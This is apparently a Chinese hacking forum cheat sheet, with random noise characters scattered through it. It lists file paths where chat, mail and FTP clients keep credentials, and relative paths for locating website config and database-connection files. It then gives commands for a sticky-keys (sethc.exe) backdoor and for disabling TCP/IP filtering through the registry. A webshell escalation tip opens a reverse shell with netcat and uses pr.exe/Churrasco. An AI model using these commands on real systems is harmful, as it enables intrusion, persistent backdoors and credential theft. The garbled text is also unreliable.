c:\Program Files\Tencent\qq\bin\qq.exe
& {# l1 V8 Q8 }$ K' k9 Y2 H1 }c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
+ W4 w. P- R+ A4 Cc:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
+ r8 }. K/ X7 OC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
. w& A& M/ H" l* j: nC:\Program Files\tencent\Foxmal\Foxmail.exe
+ I! r% _: k3 p$ ]. I7 \0 hC:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
1 Z: K' j6 K& i! `C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
# R5 d5 G+ X6 P- K# Bc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
3 o1 `- t# e+ \  l* [3 w/ ^c:\Program Files\tencent\QQGAME\readme.txt
/ e/ a( h  @) v8 G; z  YC:\Program Files\StormII\Storm.exe
& F1 L% K1 N% s
3.网站相对路径:
8 L* r, \0 k# T
/config.php
2 G  ^, F% u7 O- T0 r../../config.php
../config.php
../../../config.php
/config.inc.php
./config.inc.php
../../config.inc.php
6 P. @- I1 i/ J8 M$ s+ e../config.inc.php
../../../config.inc.php
/conn.php
./conn.php
  L0 C0 ?% B2 Q1 Y../../conn.php
../conn.php
../../../conn.php
+ U/ Q* a* n8 c% U# W+ l/conn.asp
./conn.asp
../../conn.asp
../conn.asp
../../../conn.asp
9 E. n; Y+ e; ?/config.inc.php
2 \+ ~' ]2 X6 R8 x9 b( M8 P./config.inc.php
5 F4 O4 ^  k' z5 p) r  {8 I0 n../../config.inc.php
7 A) X" m) j( N) w3 h2 E../config.inc.php
../../../config.inc.php
% y, l; v/ e+ Y! H1 J! e' H/config/config.php
../../config/config.php
. r; L5 d3 u% Q+ J% |; @, g$ v../config/config.php
../../../config/config.php
! n% w2 \% G7 E- o/config/config.inc.php
4 _1 h; V8 d. Q$ e+ }- @./config/config.inc.php
# ~; Q6 }! e! Y( w9 k4 @../../config/config.inc.php
../config/config.inc.php
. M" b3 C; |. h5 C../../../config/config.inc.php
; Z. W5 m: H* x/ m5 O7 v/config/conn.php
./config/conn.php
3 y& n1 B3 Z0 u2 m# l! Y1 }../../config/conn.php
../config/conn.php
  ^- n8 S5 `; R" U../../../config/conn.php
/config/conn.asp
0 \0 r. X2 h0 k# U9 ]6 P% ^9 D7 I./config/conn.asp
../../config/conn.asp
4 r6 |$ N. V4 i9 P# H../config/conn.asp
../../../config/conn.asp
5 m# O) @9 X/ k6 N7 B6 r2 J) J/config/config.inc.php
./config/config.inc.php
' k5 G; E- c4 w" n  s+ i../../config/config.inc.php
6 h% Y! S, O7 y5 h$ k../config/config.inc.php
, W- [9 Q# \8 ~5 U  K% L! @4 ^' P../../../config/config.inc.php
/data/config.php
2 g4 Q% C) q/ N8 K% s../../data/config.php
../data/config.php
9 ]7 P. ]/ f/ _6 N. r- }' c../../../data/config.php
/data/config.inc.php
. f' v( G, U# j" R1 C: [./data/config.inc.php
" }+ [7 ~! ]& {0 n1 I" X" @../../data/config.inc.php
../data/config.inc.php
# m! v* u) x# M( Z" p../../../data/config.inc.php
/data/conn.php
./data/conn.php
! V+ }- ^( A9 d6 V5 J/ q5 W5 C) o7 D../../data/conn.php
' `# q2 g7 G: A4 A" `  V' n' ~- B4 z../data/conn.php
../../../data/conn.php
/data/conn.asp
1 e6 l) }/ C& e, B  ]% U0 d./data/conn.asp
. S# G/ M. c- X! ?4 `) L% R$ h../../data/conn.asp
! z3 ^$ u$ `2 ~0 O6 R2 X../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
0 j, x+ e$ c0 Z: }& M8 o./data/config.inc.php
8 C, s1 J, X7 B+ c) q../../data/config.inc.php
, A- m2 E5 S$ _7 ~! ~../data/config.inc.php
; P' g! j0 m* ]  ?../../../data/config.inc.php
+ X: i* k7 F( p. q( z  V, X/include/config.php
../../include/config.php
5 A& R& S+ z5 W" o../include/config.php
0 [& f  W6 @* H) Z../../../include/config.php
/include/config.inc.php
./include/config.inc.php
( ~1 i/ g( t+ ?+ q9 I9 d. B% @../../include/config.inc.php
../include/config.inc.php
/ @$ Y1 L  P9 t% f../../../include/config.inc.php
/include/conn.php
./include/conn.php
: |! G& z" [- {% h../../include/conn.php
../include/conn.php
../../../include/conn.php
/include/conn.asp
./include/conn.asp
) R# k0 N9 w- K. ^../../include/conn.asp
$ {% g; ?1 {' }7 [  }) N2 b/ _../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
+ I! ?2 e6 w) r/inc/config.php
1 I5 u4 o  {9 h  a; B../../inc/config.php
../inc/config.php
( J" t5 _9 U( P../../../inc/config.php
' s% K+ \) O  x, F/inc/config.inc.php
./inc/config.inc.php
. K4 @9 R- @5 O* p( }5 B  |. d../../inc/config.inc.php
../inc/config.inc.php
1 ~" }' G3 m% g0 D9 O../../../inc/config.inc.php
7 i/ S1 F: `6 h5 D; ]  ^3 `/inc/conn.php
./inc/conn.php
../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
; ~3 \( h( _, [/inc/conn.asp
./inc/conn.asp
9 @; U% D4 ?" I; g8 Y../../inc/conn.asp
6 `7 v3 k; K6 x! i/ s$ x. J3 r../inc/conn.asp
( H* O+ t& ?7 ~* F( z9 J../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
9 Q1 V2 k+ D0 X: |( J1 C../../inc/config.inc.php
% f* b% k4 [8 k. Q3 P( V, T. `% C4 l../inc/config.inc.php
../../../inc/config.inc.php
/index.php
./index.php
../../index.php
../index.php
../../../index.php
3 Q) L7 v9 }! E& }7 \/index.asp
./index.asp
6 b) J3 \$ ~  O% N- W# y../../index.asp
4 j; q9 I; Y# b6 C0 T. S  a../index.asp
; C! q3 P" R; w6 W5 u../../../index.asp
替换SHIFT后门
+ N7 N! B( `1 A6 @% T. q' A　attrib c:\windows\system32\sethc.exe -h -r -s

　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
# m! P% f- H0 U8 |8 N: g
　　del c:\windows\system32\sethc.exe

- V' J/ k$ c7 k+ b7 j　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
  W' p( g1 M5 m  I9 ]  n. C" g0 c
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s
; H' |. x: @) o0 X6 m8 i! e1 m
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
/ `' r& q5 u% q6 m$ JTCP/IP筛选在注册表里有三处，分别是：
0 q; r, L/ J/ K( d7 lHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
' a5 ]: K- [' D$ fHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
/ x5 W* V  H% e* K5 }, THKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
; C* y: ]" r* H" {
分别用
0 ~6 U/ @  e3 v6 o* {regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
' W! k1 K2 p% z) ]- `6 T; v% Q2 Sregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项
1 A* i* ?! s% w8 h
! h/ X3 F+ ~2 o; E, O" X然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

再将以上三个文件分别用
regedit -s D:\a.reg
+ ?5 d& o% s5 B. L0 s$ U; {, c: e; Gregedit -s D:\b.reg
/ {; ]0 m) P+ T4 R  x$ R" I9 Pregedit -s D:\c.reg
导入注册表即可
. f+ e4 \" g+ d0 k) ]
webshell提权小技巧
# c1 C9 p$ B0 D- J  c! q% fcmd路径:
! _0 c9 p+ S. c# y4 Q: }c:\windows\temp\cmd.exe
. |( T" X1 {4 Mnc也在同目录下
例如反弹cmdshell：
7 b- `) ?' {( e$ S"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。

- s" s/ D% w$ I! F- J0 ?1 D( T而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
1 ?# E8 ]# B$ ~命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功